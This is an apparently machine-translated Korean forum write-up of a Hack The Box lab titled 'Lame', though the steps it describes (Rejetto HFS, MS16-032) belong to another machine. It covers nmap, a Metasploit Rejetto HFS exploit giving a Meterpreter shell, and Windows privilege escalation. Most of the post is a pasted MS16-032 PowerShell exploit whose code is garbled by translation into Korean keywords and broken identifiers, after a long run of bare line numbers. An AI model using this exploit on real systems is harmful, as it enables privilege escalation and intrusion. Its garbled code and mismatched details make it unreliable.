KoreanHackerTeam
Moderator
Hack The Box —— Lame

信息搜集
nmap
1NMAP -T4 -A -V 10.10.10.8

서버에는 HFS 서비스, 브라우저 액세스에 해당하는 포트 80 만 가지고 있으며 HFS 서비스의 버전 번호를 찾았습니다.
exploit-db
관련 취약점을 검색하고 MSF에 해당 EXP가 있음을 발견했습니다.
漏洞利用
사용 Aveloit/Windows/HTTP/Rejetto_HFS_Exec 사용 010-1010 MSF에서 MeterPreter 페이로드를 구성하십시오.익스플로잇이 실행되고 성공적으로 미터 프레터 쉘을 반등시킵니다

Sysinfo는 시스템이 64 비트임을 보여 주지만 기본적으로 사용하는 MeterPreter 페이로드는 32 비트이므로 MeterPreter는 Explorer.exe와 같은 64 비트 프로세스로 전송합니다.

현재 디렉토리를 직접 확인하고 user.txt를 찾아 내용을보고 제출하십시오.
현재 비 지구 권한이라는 것이 밝혀졌으며 MeterPreter는 GetSystem을 사용하여 권한을 높이려고하지만 실패한 것으로 밝혀졌습니다.

로컬로 MSF를 사용하여 권리를 에스컬레이션하십시오.

사용 가능한 exps를 찾으려면 MS16-032를 사용하면 Windows Server 2012를 대상으로 할 수 있습니다.

그러나 시도 할 때, 나는 그것이 실패했고 반등 쉘이 시스템 허가가 아니라는 것을 알았습니다.
따라서 취약성에 대한 익스플로잇 스크립트를 검색하십시오.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196 년
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
함수 호출 MS16-032 {
틀
.개요
MS16-032의 PowerShell 구현. 악용은 모든 취약한 대상을 목표로합니다
PowerShell V2+를 지원하는 운영 체제. 발견에 대한 크레딧
이를 이용하는 버그와 논리는 James Forshaw (@tiraniddo)로갑니다.
대상 :
* Win7-Win10 2k8-2k12==32/64 비트!
* X32 Win7, X64 Win8, X64 2K12R2에서 테스트
참고 :
* 레이스 조건이 성공하려면 기계에 2+ CPU가 있어야합니다.
코어. VM에서 테스트하는 경우 필요한 경우 코어를 추가하십시오.
* 익스플로잇은 꽤 신뢰할 수 있지만 ~ 1/6 배가 성공했다고 말할 것입니다.
그러나 껍질을 낳지 마십시오. 문제가 무엇인지 확실하지 않고 다시 실행하고 이익을 얻으십시오!
* MS16-032==에 대해 더 알고 싶습니다
.설명
author: Ruben Boonen (@fuzzysec)
Blog: http://www.fuzzysecurity.com/
라이센스 : BSD 3-Clause
필요한 종속성 : PowerShell v2+
선택적 종속성 : 없음
.parameter 응용 프로그램
실행할 응용 프로그램을 지정합니다.
.parameter commandline
Net User XXX XXX /ADD와 같은 CommandLine을 지정합니다
.예
C: \ PS invoke-MS16-032- 응용 프로그램 C: \ Windows \ System32 \ Cmd.exe
c: \ ps invoke -ms16-032- 적용 c: \ wind
틀
[cmdletbinding ()]
파라 (
[매개 변수 (필수=$ false, parametersetname='c: \ windows \ system32 \ cmd.exe')]
[끈]
$ 응용 프로그램,
[매개 변수 (필수=$ false)]
[끈]
$ commandline
))
Add -Type -typedeFinition @'
시스템 사용;
System.diagnostics 사용;
system.runtime.interopservices 사용;
System.security.principal 사용;
[structlayout (layoutkind.edectient)]
Public Struct Process_Information
{
공개 intptr hprocess;
공개 intptr hthread;
공개 int dwprocessid;
공개 int dwthreadid;
}
[structlayout (layoutkind.ectiential, charset=charset.unicode)]
공공 구조 StartUpinfo
{
공개 INT32 CB;
공개 문자열 lpreserved;
공개 문자열 lpdesktop;
공개 문자열 lptitle;
공개 int32 dwx;
공개 int32 Dwy;
공개 int32 dwxsize;
공개 int32 dwysize;
공개 INT32 DWXCOUNTCHARS;
공개 int32 Dwycountchars;
공개 INT32 DWFillattribute;
공개 int32 dwflags;
공개 int16 Wshowwindow;
공개 int16 cbreserved2;
공개 intptr lpreserved2;
공개 intptr hstdinput;
공개 intptr hstdoutput;
공개 intptr hstderror;
}
[structlayout (layoutkind.edectient)]
공공 구조 SQO
{
공개 int 길이;
대중의 가장 한 사람;
공개 int contextrackingmode;
공개적 인 부리;
}
공개 정적 클래스 Advapi32
{
[dllimport ( 'advapi32.dll', setlasterror=true, charset=charset.unicode)]
공개 정적 외부 bool createprocesswithlogonw (
문자열 사용자 이름,
문자열 도메인,
문자열 암호,
int logonflags,
String ApplicationName,
String CommandLine,
int creationflags,
int 환경,
문자열 currentDirectory,
ref startupinfo startupinfo,
Out Process_Information ProcessInformation);
[dllimport ( 'advapi32.dll', setlasterror=true)]]]
public static extern bool setthreadtoken (
ref intptr 스레드,
intptr 토큰);
[dllimport ( 'advapi32.dll', setlasterror=true)]]]
공개 정적 외부 bool openthreadtoken (
intptr 스레드 핸들,
int desiredAccess,
bool openasself,
intptr tokenhandle);
[dllimport ( 'advapi32.dll', setlasterror=true)]]]
공개 정적 외부 bool 오픈 프로세스 켄 (
intptr processhandle,
int desiredAccess,
ref intptr tokenhandle);
[dllimport ( 'advapi32.dll', setlasterror=true)]]]
공개 외부 정적 부울 DuplicateToken (
intptr 기존 TokenHandle,
int security_impersonation_level,
ref intptr duplicatekenhandle);
}
공개 정적 클래스 커널 32
{
[dllimport ( 'kernel32.dll')]
public static extern uint getLasterror ();
[dllimport ( 'kernel32.dll', setlasterror=true)]]]
public static extern intptr getCurrentProcess ();
[dllimport ( 'kernel32.dll', setlasterror=true)]]]
공개 정적 외부 intptr getCurrentThread ();
[dllimport ( 'kernel32.dll', setlasterror=true)]]]
public static extern int getthreadid (intptr hthread);
[dllimport ( 'kernel32.dll', setlasterror=true)]]]
공개 정적 외부 int getProcessIdofthread (intptr hands);
[dllimport ( 'kernel32.dll', setlasterror=true)]]]
public static extern int sultendthread (intptr hthread);
[dllimport ( 'kernel32.dll', setlasterror=true)]]]
public static extern int remethread (intptr hthread);
[dllimport ( 'kernel32.dll', setlasterror=true)]]]
공개 정적 외부 BOOL TERMINATE 프로세스 (
intptr hprocess,
uint uexitcode);
[dllimport ( 'kernel32.dll', setlasterror=true)]]]
Public STATIC EXTERN BOOL CLOSEHANDLE (intptr Hobject);
[dllimport ( 'kernel32.dll', setlasterror=true)]]]
공개 정적 외부 부울 Duplichandle (
intptr hsourceprocesshandle,
intptr hsourcehandle,
intptr htargetProcessHandle,
ret intptr lptargethandle,
int dwdesiredaccess,
부어 쌍곡선,
int dwoptions);
}
공개 정적 클래스 NTDLL
{
[dllimport ( 'ntdll.dll', setlasterror=true)]]]
공개 정적 외부 int NTIMPERSONATETHRED (
intptr 스레드 핸들,
intptr threadtoimponate,
ref sqos securityqualityofservice);
}
'@
함수 get-shreadhandle {
# startUpinfo struct
$ startUpInfo=new-Object startUpInfo
$ startupinfo.dwflags=0x00000101 # startf_usestdhandles
$ startupinfo.wshowwindow=0;
$ startupinfo.hstdinput=[kernel32] :getCurrentThread ()
$ startupinfo.hstdoutput=[kernel32] :getCurrentThread ()
$ startupinfo.hstderror=[kernel32] :